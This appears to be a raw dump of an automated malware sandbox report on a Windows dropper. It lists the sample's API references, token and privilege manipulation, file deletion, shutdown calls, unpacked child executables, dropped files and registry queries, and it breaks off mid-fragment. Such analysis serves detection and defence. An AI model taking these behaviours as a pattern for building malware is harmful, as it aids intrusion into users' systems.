(Indicator: "OpenProcessToken"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")6e:T10bf,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002508.00000000.69035.00800000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP003.TMP\2iq2723.exe" (Indicator: "\Device\"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp, 00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp, 00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\8Ui694dn.exe" (Indicator: "\Device\"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp, 00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000002.72803.00230000.00000004.mdmp")6f:T5aa,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "61415758334,2844,3130,,RemoveDirectoryA,kernel32.dll,"252:03:33.484",RX=0,PX=0" (Indicator: "RemoveDirectory"; Source: "00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "30250191323,3000,3130,,RemoveDirectoryA,kernel32.dll,"252:03:26.562",RX=0,PX=0" (Indicator: "RemoveDirectory"; Source: "00000000-00003344.00000001.68660.00360000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")70:Tb35,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003072.00000001.69114.00AE1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003072.00000001.69114.00AE1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003344.00000001.68660.00891000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003344.00000001.68660.00891000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003396.00000000.67130.000F1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003396.00000000.67130.000F1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")71:Ta91,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")72:T946,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00002516.00000000.68589.00FC1000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")73:T1477,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: fa951d632a6b1c8efb577fc5b43a64b5.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: fa951d632a6b1c8efb577fc5b43a64b5.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: fa951d632a6b1c8efb577fc5b43a64b5.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: fa951d632a6b1c8efb577fc5b43a64b5.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: fa951d632a6b1c8efb577fc5b43a64b5.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Ia3cO08.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Ia3cO08.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Ia3cO08.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Ia3cO08.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Ia3cO08.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 1gT33kS4.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 1gT33kS4.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 1gT33kS4.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 1gT33kS4.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 1gT33kS4.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 1gT33kS4.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1gT33kS4.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 1gT33kS4.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 1gT33kS4.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 1gT33kS4.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 1gT33kS4.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 1gT33kS4.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 1gT33kS4.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 1gT33kS4.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 1gT33kS4.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 1gT33kS4.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: QX6jY18.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: QX6jY18.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: QX6jY18.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: QX6jY18.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: QX6jY18.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Qb7Pk11.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Qb7Pk11.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Qb7Pk11.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Qb7Pk11.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Qb7Pk11.exe]74:T7f8,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "")75:T400,Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "ExitWindows"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")76:T4be,"Ia3cO08.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Ia3cO08.exe]- [targetUID: 00000000-00003396] "1gT33kS4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1gT33kS4.exe]- [targetUID: 00000000-00003628] "QX6jY18.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\QX6jY18.exe]- [targetUID: 00000000-00003072] "Qb7Pk11.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Qb7Pk11.exe]- [targetUID: 00000000-00003072] "9yR3LL2.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\9yR3LL2.exe]- [targetUID: 00000000-00004060] "8Ui694dn.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\8Ui694dn.exe]- [targetUID: 00000000-00004012] "2iq2723.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\2iq2723.exe]- [targetUID: 00000000-00002516] "7TG93zJ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\7TG93zJ.exe]- [targetUID: 00000000-00003072]77:T1430,Dropped file: "9DFE38F0CF4E54F251E86E53D05E8885" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\9DFE38F0CF4E54F251E86E53D05E8885]- [targetUID: 00000000-00004032] Dropped file: "76C4A5585D9099B27A68C7AA37A47AE7" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00003080] Dropped file: "I2XI96YB.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\I2XI96YB.htm]- [targetUID: 00000000-00003056] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00000388] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003056] Dropped file: "70DAE932E3BCB3C00656A27B544BA9CA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00000388] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00000388] Dropped file: "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00003080] Dropped file: "646C991C2A28825F3CC56E0A1D1E3FA9" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00000388] Dropped file: "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00003080] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00000388] Dropped file: "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00003080] Dropped file: "0AB67BD4882FB0E09822529CFEB33A58" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0AB67BD4882FB0E09822529CFEB33A58]- [targetUID: 00000000-00001136] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00000388] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00000388] Dropped file: "620BEF1064BD8E252C599957B3C91896" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00003080] Dropped file: "395PO1ZE.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\395PO1ZE.txt]- [targetUID: 00000000-00003080] Dropped file: "O8488WY0.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\O8488WY0.txt]- [targetUID: 00000000-00003056] Dropped file: "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8]- [targetUID: 00000000-00000388] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00002300] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00004032] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00001136] Dropped file: "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00003080] Dropped file: "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00004032] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00000388]78:Tc007,"initAft()